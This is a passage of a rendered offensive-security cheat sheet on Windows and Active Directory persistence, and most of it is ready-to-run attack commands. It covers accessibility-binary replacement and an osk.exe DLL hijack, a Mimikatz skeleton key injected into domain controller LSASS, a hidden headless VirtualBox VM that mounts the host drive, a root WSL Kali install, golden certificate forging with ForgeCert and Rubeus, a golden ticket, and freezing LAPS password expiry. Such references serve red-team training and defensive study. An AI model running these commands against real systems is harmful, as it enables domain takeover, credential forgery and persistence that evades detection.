<td>Display Switcher</td>
|
||
<td>C:\Windows\System32\DisplaySwitch.exe</td>
|
||
</tr>
|
||
<tr>
|
||
<td>App Switcher</td>
|
||
<td>C:\Windows\System32\AtBroker.exe</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<p>In Metasploit : <code>use post/windows/manage/sticky_keys</code></p>
|
||
<h4 id="binary-replacement-on-windows-10">Binary Replacement on Windows 10+</h4>
|
||
<p>Exploit a DLL hijacking vulnerability in the On-Screen Keyboard <strong>osk.exe</strong> executable.</p>
|
||
<p>Create a malicious <strong>HID.dll</strong> in <code>C:\Program Files\Common Files\microsoft shared\ink\HID.dll</code>.</p>
|
||
<h3 id="skeleton-key">Skeleton Key</h3>
|
||
<blockquote>
|
||
<p>Inject a master password into the LSASS process of a Domain Controller.</p>
|
||
</blockquote>
|
||
<p>Requirements:
|
||
* Domain Administrator (SeDebugPrivilege) or <code>NTAUTHORITY\SYSTEM</code></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-31-1" name="__codelineno-31-1" href="#__codelineno-31-1"></a><span class="c"># Execute the skeleton key attack</span>
|
||
<a id="__codelineno-31-2" name="__codelineno-31-2" href="#__codelineno-31-2"></a><span class="n">mimikatz</span> <span class="s2">"privilege::debug"</span> <span class="s2">"misc::skeleton"</span>
|
||
<a id="__codelineno-31-3" name="__codelineno-31-3" href="#__codelineno-31-3"></a><span class="nb">Invoke-Mimikatz</span> <span class="n">-Command</span> <span class="s1">'"privilege::debug" "misc::skeleton"'</span> <span class="n">-ComputerName</span> <span class="p"><</span><span class="n">DCs</span> <span class="n">FQDN</span><span class="p">></span>
|
||
<a id="__codelineno-31-4" name="__codelineno-31-4" href="#__codelineno-31-4"></a>
|
||
<a id="__codelineno-31-5" name="__codelineno-31-5" href="#__codelineno-31-5"></a><span class="c"># Access using the password "mimikatz"</span>
|
||
<a id="__codelineno-31-6" name="__codelineno-31-6" href="#__codelineno-31-6"></a><span class="nb">Enter-PSSession</span> <span class="n">-ComputerName</span> <span class="p"><</span><span class="n">AnyMachineYouLike</span><span class="p">></span> <span class="n">-Credential</span> <span class="p"><</span><span class="n">Domain</span><span class="p">>\</span><span class="n">Administrator</span>
|
||
</code></pre></div>
|
||
<h3 id="virtual-machines">Virtual Machines</h3>
|
||
<blockquote>
|
||
<p>Based on the Shadow Bunny technique.</p>
|
||
</blockquote>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-32-1" name="__codelineno-32-1" href="#__codelineno-32-1"></a><span class="c"># download virtualbox</span>
|
||
<a id="__codelineno-32-2" name="__codelineno-32-2" href="#__codelineno-32-2"></a><span class="nb">Invoke-WebRequest</span> <span class="s2">"https://download.virtualbox.org/virtualbox/6.1.8/VirtualBox-6.1.8-137981-Win.exe"</span> <span class="n">-OutFile</span> <span class="nv">$env:TEMP</span><span class="p">\</span><span class="n">VirtualBox</span><span class="p">-</span><span class="n">6</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">8</span><span class="p">-</span><span class="n">137981-Win</span><span class="p">.</span><span class="n">exe</span>
|
||
<a id="__codelineno-32-3" name="__codelineno-32-3" href="#__codelineno-32-3"></a>
|
||
<a id="__codelineno-32-4" name="__codelineno-32-4" href="#__codelineno-32-4"></a><span class="c"># perform a silent install and avoid creating desktop and quick launch icons</span>
|
||
<a id="__codelineno-32-5" name="__codelineno-32-5" href="#__codelineno-32-5"></a><span class="n">VirtualBox</span><span class="p">-</span><span class="n">6</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">14</span><span class="p">-</span><span class="n">133895-Win</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-silent</span> <span class="p">-</span><span class="n">-ignore-reboot</span> <span class="p">-</span><span class="n">-msiparams</span> <span class="n">VBOX_INSTALLDESKTOPSHORTCUT</span><span class="p">=</span><span class="n">0</span><span class="p">,</span><span class="n">VBOX_INSTALLQUICKLAUNCHSHORTCUT</span><span class="p">=</span><span class="n">0</span>
|
||
<a id="__codelineno-32-6" name="__codelineno-32-6" href="#__codelineno-32-6"></a>
|
||
<a id="__codelineno-32-7" name="__codelineno-32-7" href="#__codelineno-32-7"></a><span class="c"># in \Program Files\Oracle\VirtualBox\VBoxManage.exe</span>
|
||
<a id="__codelineno-32-8" name="__codelineno-32-8" href="#__codelineno-32-8"></a><span class="c"># Disabling notifications</span>
|
||
<a id="__codelineno-32-9" name="__codelineno-32-9" href="#__codelineno-32-9"></a><span class="p">.\</span><span class="n">VBoxManage</span><span class="p">.</span><span class="n">exe</span> <span class="n">setextradata</span> <span class="n">global</span> <span class="n">GUI</span><span class="p">/</span><span class="n">SuppressMessages</span> <span class="s2">"all"</span>
|
||
<a id="__codelineno-32-10" name="__codelineno-32-10" href="#__codelineno-32-10"></a>
|
||
<a id="__codelineno-32-11" name="__codelineno-32-11" href="#__codelineno-32-11"></a><span class="c"># Download the Virtual machine disk</span>
|
||
<a id="__codelineno-32-12" name="__codelineno-32-12" href="#__codelineno-32-12"></a><span class="nb">Copy-Item</span> <span class="p">\\</span><span class="n">smbserver</span><span class="p">\</span><span class="n">images</span><span class="p">\</span><span class="n">shadowbunny</span><span class="p">.</span><span class="n">vhd</span> <span class="nv">$env:USERPROFILE</span><span class="p">\</span><span class="n">VirtualBox</span><span class="p">\</span><span class="n">IT</span> <span class="n">Recovery</span><span class="p">\</span><span class="n">shadowbunny</span><span class="p">.</span><span class="n">vhd</span>
|
||
<a id="__codelineno-32-13" name="__codelineno-32-13" href="#__codelineno-32-13"></a>
|
||
<a id="__codelineno-32-14" name="__codelineno-32-14" href="#__codelineno-32-14"></a><span class="c"># Create a new VM</span>
|
||
<a id="__codelineno-32-15" name="__codelineno-32-15" href="#__codelineno-32-15"></a><span class="nv">$vmname</span> <span class="p">=</span> <span class="s2">"IT Recovery"</span>
|
||
<a id="__codelineno-32-16" name="__codelineno-32-16" href="#__codelineno-32-16"></a><span class="p">.\</span><span class="n">VBoxManage</span><span class="p">.</span><span class="n">exe</span> <span class="n">createvm</span> <span class="p">-</span><span class="n">-name</span> <span class="nv">$vmname</span> <span class="p">-</span><span class="n">-ostype</span> <span class="s2">"Ubuntu"</span> <span class="p">-</span><span class="n">-register</span>
|
||
<a id="__codelineno-32-17" name="__codelineno-32-17" href="#__codelineno-32-17"></a>
|
||
<a id="__codelineno-32-18" name="__codelineno-32-18" href="#__codelineno-32-18"></a><span class="c"># Add a network card in NAT mode</span>
|
||
<a id="__codelineno-32-19" name="__codelineno-32-19" href="#__codelineno-32-19"></a><span class="p">.\</span><span class="n">VBoxManage</span><span class="p">.</span><span class="n">exe</span> <span class="n">modifyvm</span> <span class="nv">$vmname</span> <span class="p">-</span><span class="n">-ioapic</span> <span class="n">on</span> <span class="c"># required for 64bit</span>
|
||
<a id="__codelineno-32-20" name="__codelineno-32-20" href="#__codelineno-32-20"></a><span class="p">.\</span><span class="n">VBoxManage</span><span class="p">.</span><span class="n">exe</span> <span class="n">modifyvm</span> <span class="nv">$vmname</span> <span class="p">-</span><span class="n">-memory</span> <span class="n">1024</span> <span class="p">-</span><span class="n">-vram</span> <span class="n">128</span>
|
||
<a id="__codelineno-32-21" name="__codelineno-32-21" href="#__codelineno-32-21"></a><span class="p">.\</span><span class="n">VBoxManage</span><span class="p">.</span><span class="n">exe</span> <span class="n">modifyvm</span> <span class="nv">$vmname</span> <span class="p">-</span><span class="n">-nic1</span> <span class="n">nat</span>
|
||
<a id="__codelineno-32-22" name="__codelineno-32-22" href="#__codelineno-32-22"></a><span class="p">.\</span><span class="n">VBoxManage</span><span class="p">.</span><span class="n">exe</span> <span class="n">modifyvm</span> <span class="nv">$vmname</span> <span class="p">-</span><span class="n">-audio</span> <span class="n">none</span>
|
||
<a id="__codelineno-32-23" name="__codelineno-32-23" href="#__codelineno-32-23"></a><span class="p">.\</span><span class="n">VBoxManage</span><span class="p">.</span><span class="n">exe</span> <span class="n">modifyvm</span> <span class="nv">$vmname</span> <span class="p">-</span><span class="n">-graphicscontroller</span> <span class="n">vmsvga</span>
|
||
<a id="__codelineno-32-24" name="__codelineno-32-24" href="#__codelineno-32-24"></a><span class="p">.\</span><span class="n">VBoxManage</span><span class="p">.</span><span class="n">exe</span> <span class="n">modifyvm</span> <span class="nv">$vmname</span> <span class="p">-</span><span class="n">-description</span> <span class="s2">"Shadowbunny"</span>
|
||
<a id="__codelineno-32-25" name="__codelineno-32-25" href="#__codelineno-32-25"></a>
|
||
<a id="__codelineno-32-26" name="__codelineno-32-26" href="#__codelineno-32-26"></a><span class="c"># Mount the VHD file</span>
|
||
<a id="__codelineno-32-27" name="__codelineno-32-27" href="#__codelineno-32-27"></a><span class="p">.\</span><span class="n">VBoxManage</span><span class="p">.</span><span class="n">exe</span> <span class="n">storagectl</span> <span class="nv">$vmname</span> <span class="n">-name</span> <span class="s2">"SATA Controller"</span> <span class="n">-add</span> <span class="n">sata</span>
|
||
<a id="__codelineno-32-28" name="__codelineno-32-28" href="#__codelineno-32-28"></a><span class="p">.\</span><span class="n">VBoxManage</span><span class="p">.</span><span class="n">exe</span> <span class="n">storageattach</span> <span class="nv">$vmname</span> <span class="n">-comment</span> <span class="s2">"Shadowbunny Disk"</span> <span class="n">-storagectl</span> <span class="s2">"SATA Controller"</span> <span class="n">-type</span> <span class="n">hdd</span> <span class="n">-medium</span> <span class="s2">"$env:USERPROFILE\VirtualBox VMs\IT Recovery\shadowbunny.vhd"</span> <span class="n">-port</span> <span class="n">0</span>
|
||
<a id="__codelineno-32-29" name="__codelineno-32-29" href="#__codelineno-32-29"></a>
|
||
<a id="__codelineno-32-30" name="__codelineno-32-30" href="#__codelineno-32-30"></a><span class="c"># Start the VM</span>
|
||
<a id="__codelineno-32-31" name="__codelineno-32-31" href="#__codelineno-32-31"></a><span class="p">.\</span><span class="n">VBoxManage</span><span class="p">.</span><span class="n">exe</span> <span class="n">startvm</span> <span class="nv">$vmname</span> <span class="err">–</span><span class="nb">type </span><span class="n">headless</span>
|
||
<a id="__codelineno-32-32" name="__codelineno-32-32" href="#__codelineno-32-32"></a>
|
||
<a id="__codelineno-32-33" name="__codelineno-32-33" href="#__codelineno-32-33"></a>
|
||
<a id="__codelineno-32-34" name="__codelineno-32-34" href="#__codelineno-32-34"></a><span class="c"># optional - adding a shared folder</span>
|
||
<a id="__codelineno-32-35" name="__codelineno-32-35" href="#__codelineno-32-35"></a><span class="c"># require: VirtualBox Guest Additions</span>
|
||
<a id="__codelineno-32-36" name="__codelineno-32-36" href="#__codelineno-32-36"></a><span class="p">.\</span><span class="n">VBoxManage</span><span class="p">.</span><span class="n">exe</span> <span class="n">sharedfolder</span> <span class="n">add</span> <span class="nv">$vmname</span> <span class="n">-name</span> <span class="n">shadow_c</span> <span class="n">-hostpath</span> <span class="n">c</span><span class="p">:\</span> <span class="n">-automount</span>
|
||
<a id="__codelineno-32-37" name="__codelineno-32-37" href="#__codelineno-32-37"></a><span class="c"># then mount the folder in the VM</span>
|
||
<a id="__codelineno-32-38" name="__codelineno-32-38" href="#__codelineno-32-38"></a><span class="n">sudo</span> <span class="n">mkdir</span> <span class="p">/</span><span class="n">mnt</span><span class="p">/</span><span class="n">c</span>
|
||
<a id="__codelineno-32-39" name="__codelineno-32-39" href="#__codelineno-32-39"></a><span class="n">sudo</span> <span class="nb">mount </span><span class="n">-t</span> <span class="n">vboxsf</span> <span class="n">shadow_c</span> <span class="p">/</span><span class="n">mnt</span><span class="p">/</span><span class="n">c</span>
|
||
</code></pre></div>
|
||
<h3 id="windows-subsystem-for-linux">Windows Subsystem for Linux</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-33-1" name="__codelineno-33-1" href="#__codelineno-33-1"></a><span class="c"># List and install online packages</span>
|
||
<a id="__codelineno-33-2" name="__codelineno-33-2" href="#__codelineno-33-2"></a><span class="n">wsl</span> <span class="p">-</span><span class="n">-list</span> <span class="p">-</span><span class="n">-online</span>
|
||
<a id="__codelineno-33-3" name="__codelineno-33-3" href="#__codelineno-33-3"></a><span class="n">wsl</span> <span class="p">-</span><span class="n">-install</span> <span class="n">-d</span> <span class="n">kali-linux</span>
|
||
<a id="__codelineno-33-4" name="__codelineno-33-4" href="#__codelineno-33-4"></a>
|
||
<a id="__codelineno-33-5" name="__codelineno-33-5" href="#__codelineno-33-5"></a><span class="c"># Use a local package</span>
|
||
<a id="__codelineno-33-6" name="__codelineno-33-6" href="#__codelineno-33-6"></a><span class="n">wsl</span> <span class="p">-</span><span class="n">-set-default-version</span> <span class="n">2</span>
|
||
<a id="__codelineno-33-7" name="__codelineno-33-7" href="#__codelineno-33-7"></a><span class="n">curl</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-insecure</span> <span class="n">-L</span> <span class="n">-o</span> <span class="n">debian</span><span class="p">.</span><span class="n">appx</span> <span class="n">https</span><span class="p">://</span><span class="n">aka</span><span class="p">.</span><span class="n">ms</span><span class="p">/</span><span class="n">wsl-debian-gnulinux</span>
|
||
<a id="__codelineno-33-8" name="__codelineno-33-8" href="#__codelineno-33-8"></a><span class="nb">Add-AppxPackage</span> <span class="p">.\</span><span class="n">debian</span><span class="p">.</span><span class="n">appx</span>
|
||
<a id="__codelineno-33-9" name="__codelineno-33-9" href="#__codelineno-33-9"></a>
|
||
<a id="__codelineno-33-10" name="__codelineno-33-10" href="#__codelineno-33-10"></a><span class="c"># Run the machine as root</span>
|
||
<a id="__codelineno-33-11" name="__codelineno-33-11" href="#__codelineno-33-11"></a><span class="n">wsl</span> <span class="n">kali-linux</span> <span class="p">-</span><span class="n">-user</span> <span class="n">root</span>
|
||
</code></pre></div>
|
||
<h2 id="domain">Domain</h2>
|
||
<h3 id="user-certificate">User Certificate</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-34-1" name="__codelineno-34-1" href="#__codelineno-34-1"></a><span class="c"># Request a certificate for the User template</span>
|
||
<a id="__codelineno-34-2" name="__codelineno-34-2" href="#__codelineno-34-2"></a><span class="p">.\</span><span class="n">Certify</span><span class="p">.</span><span class="n">exe</span> <span class="n">request</span> <span class="p">/</span><span class="n">ca</span><span class="p">:</span><span class="n">CA01</span><span class="p">.</span><span class="n">megacorp</span><span class="p">.</span><span class="n">local</span><span class="p">\</span><span class="n">CA01</span> <span class="p">/</span><span class="n">template</span><span class="p">:</span><span class="n">User</span>
|
||
<a id="__codelineno-34-3" name="__codelineno-34-3" href="#__codelineno-34-3"></a>
|
||
<a id="__codelineno-34-4" name="__codelineno-34-4" href="#__codelineno-34-4"></a><span class="c"># Convert the certificate for Rubeus</span>
|
||
<a id="__codelineno-34-5" name="__codelineno-34-5" href="#__codelineno-34-5"></a><span class="n">openssl</span> <span class="n">pkcs12</span> <span class="n">-in</span> <span class="n">cert</span><span class="p">.</span><span class="n">pem</span> <span class="n">-keyex</span> <span class="n">-CSP</span> <span class="s2">"Microsoft Enhanced Cryptographic Provider v1.0"</span> <span class="n">-export</span> <span class="n">-out</span> <span class="n">cert</span><span class="p">.</span><span class="n">pfx</span>
|
||
<a id="__codelineno-34-6" name="__codelineno-34-6" href="#__codelineno-34-6"></a>
|
||
<a id="__codelineno-34-7" name="__codelineno-34-7" href="#__codelineno-34-7"></a><span class="c"># Request a TGT using the certificate</span>
|
||
<a id="__codelineno-34-8" name="__codelineno-34-8" href="#__codelineno-34-8"></a><span class="p">.\</span><span class="n">Rubeus</span><span class="p">.</span><span class="n">exe</span> <span class="n">asktgt</span> <span class="p">/</span><span class="n">user</span><span class="p">:</span><span class="n">username</span> <span class="p">/</span><span class="n">certificate</span><span class="p">:</span><span class="n">C</span><span class="p">:\</span><span class="n">Temp</span><span class="p">\</span><span class="n">cert</span><span class="p">.</span><span class="n">pfx</span> <span class="p">/</span><span class="n">password</span><span class="p">:</span><span class="n">Passw0rd123</span><span class="p">!</span>
|
||
</code></pre></div>
|
||
<h3 id="golden-certificate">Golden Certificate</h3>
|
||
<blockquote>
|
||
<p>Require elevated privileges in the Active Directory, or on the ADCS machine</p>
|
||
</blockquote>
|
||
<ul>
|
||
<li>Export CA as p12 file: <code>certsrv.msc</code> > <code>Right Click</code> > <code>Back up CA...</code></li>
|
||
<li>Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-35-1" name="__codelineno-35-1" href="#__codelineno-35-1"></a><span class="n">privilege</span><span class="p">::</span><span class="n">debug</span>
|
||
<a id="__codelineno-35-2" name="__codelineno-35-2" href="#__codelineno-35-2"></a><span class="n">crypto</span><span class="p">::</span><span class="n">capi</span>
|
||
<a id="__codelineno-35-3" name="__codelineno-35-3" href="#__codelineno-35-3"></a><span class="n">crypto</span><span class="p">::</span><span class="n">cng</span>
|
||
<a id="__codelineno-35-4" name="__codelineno-35-4" href="#__codelineno-35-4"></a><span class="n">crypto</span><span class="p">::</span><span class="n">certificates</span> <span class="p">/</span><span class="n">systemstore</span><span class="p">:</span><span class="n">local_machine</span> <span class="p">/</span><span class="n">store</span><span class="p">:</span><span class="n">my</span> <span class="p">/</span><span class="n">export</span>
|
||
</code></pre></div></li>
|
||
<li>Alternative 2: Using SharpDPAPI, then convert the certificate: <code>openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx</code></li>
|
||
<li><a href="https://github.com/GhostPack/ForgeCert">ForgeCert</a> - Forge a certificate for any active domain user using the CA certificate
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-36-1" name="__codelineno-36-1" href="#__codelineno-36-1"></a><span class="n">ForgeCert</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-CaCertPath</span> <span class="n">ca</span><span class="p">.</span><span class="n">pfx</span> <span class="p">-</span><span class="n">-CaCertPassword</span> <span class="n">Password123</span> <span class="p">-</span><span class="n">-Subject</span> <span class="n">CN</span><span class="p">=</span><span class="n">User</span> <span class="p">-</span><span class="n">-SubjectAltName</span> <span class="n">harry</span><span class="nv">@lab</span><span class="p">.</span><span class="n">local</span> <span class="p">-</span><span class="n">-NewCertPath</span> <span class="n">harry</span><span class="p">.</span><span class="n">pfx</span> <span class="p">-</span><span class="n">-NewCertPassword</span> <span class="n">Password123</span>
|
||
<a id="__codelineno-36-2" name="__codelineno-36-2" href="#__codelineno-36-2"></a><span class="n">ForgeCert</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-CaCertPath</span> <span class="n">ca</span><span class="p">.</span><span class="n">pfx</span> <span class="p">-</span><span class="n">-CaCertPassword</span> <span class="n">Password123</span> <span class="p">-</span><span class="n">-Subject</span> <span class="n">CN</span><span class="p">=</span><span class="n">User</span> <span class="p">-</span><span class="n">-SubjectAltName</span> <span class="n">DC</span><span class="p">$</span><span class="nv">@lab</span><span class="p">.</span><span class="n">local</span> <span class="p">-</span><span class="n">-NewCertPath</span> <span class="n">dc</span><span class="p">.</span><span class="n">pfx</span> <span class="p">-</span><span class="n">-NewCertPassword</span> <span class="n">Password123</span>
|
||
</code></pre></div></li>
|
||
<li>Finally you can request a TGT using the Certificate
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-37-1" name="__codelineno-37-1" href="#__codelineno-37-1"></a><span class="n">Rubeus</span><span class="p">.</span><span class="n">exe</span> <span class="n">asktgt</span> <span class="p">/</span><span class="n">user</span><span class="p">:</span><span class="n">ron</span> <span class="p">/</span><span class="n">certificate</span><span class="p">:</span><span class="n">harry</span><span class="p">.</span><span class="n">pfx</span> <span class="p">/</span><span class="n">password</span><span class="p">:</span><span class="n">Password123</span>
|
||
</code></pre></div></li>
|
||
</ul>
|
||
<h3 id="golden-ticket">Golden Ticket</h3>
|
||
<blockquote>
|
||
<p>Forge a Golden ticket using Mimikatz</p>
|
||
</blockquote>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-38-1" name="__codelineno-38-1" href="#__codelineno-38-1"></a><span class="n">kerberos</span><span class="p">::</span><span class="n">purge</span>
|
||
<a id="__codelineno-38-2" name="__codelineno-38-2" href="#__codelineno-38-2"></a><span class="n">kerberos</span><span class="p">::</span><span class="n">golden</span> <span class="p">/</span><span class="n">user</span><span class="p">:</span><span class="n">evil</span> <span class="p">/</span><span class="n">domain</span><span class="p">:</span><span class="n">pentestlab</span><span class="p">.</span><span class="n">local</span> <span class="p">/</span><span class="n">sid</span><span class="p">:</span><span class="n">S</span><span class="p">-</span><span class="n">1</span><span class="p">-</span><span class="n">5</span><span class="p">-</span><span class="n">21</span><span class="p">-</span><span class="n">3737340914</span><span class="p">-</span><span class="n">2019594255</span><span class="p">-</span><span class="n">2413685307</span> <span class="p">/</span><span class="n">krbtgt</span><span class="p">:</span><span class="n">d125e4f69c851529045ec95ca80fa37e</span> <span class="p">/</span><span class="n">ticket</span><span class="p">:</span><span class="n">evil</span><span class="p">.</span><span class="n">tck</span> <span class="p">/</span><span class="n">ptt</span>
|
||
<a id="__codelineno-38-3" name="__codelineno-38-3" href="#__codelineno-38-3"></a><span class="n">kerberos</span><span class="p">::</span><span class="n">tgt</span>
|
||
</code></pre></div>
|
||
<h3 id="laps-persistence">LAPS Persistence</h3>
|
||
<p>To prevent a machine to update its LAPS password, it is possible to set the update date in the futur.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-39-1" name="__codelineno-39-1" href="#__codelineno-39-1"></a><span class="nb">Set-DomainObject</span> <span class="n">-Identity</span> <span class="p"><</span><span class="n">target_machine</span><span class="p">></span> <span class="n">-Set</span> <span class="p">@{</span><span class="s2">"ms-mcs-admpwdexpirationtime"</span><span class="p">=</span><span class="s2">"232609935231523081"</span><span class="p">}</span>
|
||
</code></pre></div>
|
||
<h2 id="references">References</h2>
|
||
<ul>
|
||
<li><a href="http://pwnwiki.io/#!persistence/windows/index.md">Windows Persistence Commands - Pwn Wiki</a></li>
|
||
<li><a href="http://www.youtube.com/watch?v=K7o9RSVyazo">SharPersist Windows Persistence Toolkit in C - Brett Hawkins</a></li>
|
||
<li><a href="https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/">IIS Raid – Backdooring IIS Using Native Modules - 19/02/2020</a></li>
|
||
<li><a href="https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html">Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa</a></li>
|
||
<li><a href="https://github.com/netbiosX/Checklists/blob/master/Persistence.md">Persistence - Checklist - @netbiosX</a></li>
|
||
<li><a href="https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/">Persistence – Winlogon Helper DLL - @netbiosX</a></li>
|
||
<li><a href="https://pentestlab.blog/2019/10/30/persistence-bits-jobs/">Persistence - BITS Jobs - @netbiosX</a></li>
|
||
<li><a href="https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/">Persistence – Image File Execution Options Injection - @netbiosX</a></li>
|
||
<li><a href="https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/">Persistence – Registry Run Keys - @netbiosX</a></li>
|
||
<li><a href="https://pentestlab.blog/2021/11/15/golden-certificate/">Golden Certificate - NOVEMBER 15, 2021</a></li>
|
||
<li><a href="https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/">Beware of the Shadowbunny - Using virtual machines to persist and evade detections - Sep 23, 2020 - wunderwuzzi</a></li>
|
||
<li><a href="https://www.elastic.co/guide/en/security/current/persistence-via-wmi-event-subscription.html">Persistence via WMI Event Subscription - Elastic Security Solution</a></li>
|
||
<li><a href="https://0xv1n.github.io/posts/scmanager/">PrivEsc: Abusing the Service Control Manager for Stealthy & Persistent LPE - 0xv1n - 2023-02-27</a></li>
|
||
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742037(v=ws.11)">Sc sdset - Microsoft - 08/31/2016</a></li>
|
||
</ul>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<aside class="md-source-file">
|
||
|
||
|
||
<span class="md-source-file__fact">
|
||
<span class="md-icon" title="Last update">
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